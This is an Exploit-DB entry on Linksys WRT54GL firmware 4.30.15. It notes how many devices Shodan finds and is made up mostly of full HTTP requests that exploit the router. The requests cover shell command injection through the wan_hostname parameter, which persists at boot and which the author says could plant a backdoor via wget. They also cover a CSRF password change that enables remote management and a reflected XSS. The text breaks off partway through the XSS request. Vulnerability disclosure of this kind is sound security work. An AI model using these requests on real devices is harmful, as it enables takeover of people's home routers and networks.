Exploit-DB #24202
Description: Linksys WRT54GL Firmware 4.30.15 build 2 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-01-18
Author: m-1-k-3

Exploit:
Device Name: Linksys WRT54GL v1.1
Vendor: Linksys/Cisco

============ Vulnerable Firmware Releases: ============

Firmware Version: 4.30.15 build 2, 01/20/2011

============ Device Description: ============

The Router lets you access the Internet via a wireless connection, broadcast at up to 54 Mbps, or through one of its four switched ports. You can also use the Router to share resources such as computers, printers and files. A variety of security features help to protect your data and your privacy while online. Security features include WPA2 security, a Stateful Packet Inspection (SPI) firewall and NAT technology. Configuring the Router is easy using the provided browser-based utility.

Source: http://homesupport.cisco.com/en-us/support/routers/WRT54GL

============ Shodan Torks ============

Shodan Search: WRT54GL
=> Results 27190 devices

============ Vulnerability Overview: ============

* OS Command Injection
=> parameter: wan_hostname
=> command: `%20ping%20192%2e168%2e178%2e101%20`

The vulnerability is caused by missing input validation in the wan_hostname parameter and can be exploited to inject and execute arbitrary shell commands. With wget it is possible to upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/OS-Command-Injection-param_wan_hostname.png

POST /apply.cgi HTTP/1.1
Host: 192.168.178.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.166/index.asp
Authorization: Basic xxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 734
Connection: close

submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=test&wan_hostname=`%20ping%20192%2e168%2e178%2e101%20`&wan_domain=test&mtu_enable=1&wan_mtu=1500&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=166&lan_netmask=255.255.255.0&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1

=> Change the request method from HTTP Post to HTTP GET makes the exploitation easier:

http://192.168.178.166/apply.cgi?submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=test&wan_hostname=`%20ping%20192%2e168%2e178%2e101%20`&wan_domain=test&mtu_enable=1&wan_mtu=1500&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=166&lan_netmask=255.255.255.0&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1

=> This setting is placed permanent into the configuration and so it gets executed on every bootup process of the device.

* For changing the current password there is no request to the current password

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.


POST /apply.cgi HTTP/1.1
Host: 192.168.178.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.166/Management.asp
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 299

submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_[CREDENTIAL_REDACTED]_passwdConfirm=pwnd&_http_enable=1&web_wl_filter=0&remote_management=1&http_wanport=8080&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

* CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management:

http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_[CREDENTIAL_REDACTED]_passwdConfirm=pwnd1&_http_enable=1&web_wl_filter=0&remote_management=1&http_wanport=8080&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

* reflected XSS

=> parameter: submit_button

Injecting scripts into the parameter submit_button reveals that this parameter is not properly validated for malicious input.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/reflected-XSS-01.png

POST /apply.cgi HTTP/1.1
Host: 192.168.178.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.166/Wireless_Basic.asp
Authorization: Basic xxxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 155

submit_button=Wireless_Basic'%3balert('pwnd')//&action=Apply&submit_type=&change_action=&next_page=&wl_net_mode=mixed&wl_ssid=test&w